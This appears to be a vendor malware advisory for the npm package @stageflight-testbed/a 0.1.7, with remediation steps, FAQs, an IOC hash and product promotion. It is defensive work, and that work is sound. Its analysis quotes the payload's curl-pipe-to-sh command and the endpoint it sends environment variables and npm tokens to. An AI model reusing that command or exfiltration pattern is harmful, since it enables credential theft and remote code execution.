Which versions of @stageflight-testbed/a are malicious?

The following npm versions of @stageflight-testbed/a are flagged malicious: 0.1.7. Treat any of these as compromised.

How do I remediate @stageflight-testbed/a if I installed it?

@stageflight-testbed/a is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed @stageflight-testbed/a — how do I know if it already compromised me?

If @stageflight-testbed/a was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is @stageflight-testbed/a part of a known attack campaign?

Yes — @stageflight-testbed/a is associated with the IN-MAL-2026-015846 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @stageflight-testbed/a across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @stageflight-testbed/a (version 0.1.7). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @stageflight-testbed/a across your stack and pipelines.

Malicious package

@stageflight-testbed/anpm

@stageflight-testbed/a is a confirmed malicious npm package (MAL-2026-13365) that steals credentials and exfiltrates sensitive data (malicious version 0.1.7). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @stageflight-testbed/a (npm)

MAL-2026-13365

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @stageflight-testbed/a

What this malware does

index.ts defines an exported _telemetry function that (1) POSTs process.env and process.env.NODE_AUTH_TOKEN to a base64-hidden endpoint decoding to http://185.220.101.47:8080/collect, and (2) invokes execSync on curl -s http://185.220.101.47:8080/the assessment | sh, fetching and executing attacker-controlled shell code from the same bare-IP plaintext-HTTP host. The C2 URL is stored as a base64 literal decoded at runtime via Buffer.from(...,'base64') to hide the destination from source review. Execution is gated by an environment flag (SF_TEST_NEVER), but the exfiltration and remote-exec code paths are present and reachable whenever a caller sets that variable. The combination of full-environment dump, npm auth token exfiltration, remote shell fetch-and-exec, and runtime-decoded bare-IP destination is a supply-chain credential-theft and RCE payload.

Malicious versions

1 flagged

0.1.7

Indicators of compromise (SHA-256)

1072a48305e4a3b7d7da10a09c3842a6976dc23f48c48b743e62e71d35912e36

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @stageflight-testbed/a (version 0.1.7). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @stageflight-testbed/a across your stack and pipelines.
If you installed it — respond
@stageflight-testbed/a is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @stageflight-testbed/a was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @stageflight-testbed/a before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @stageflight-testbed/a on npm has been identified as a malicious package (version 0.1.7 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-015846

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @stageflight-testbed/a-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database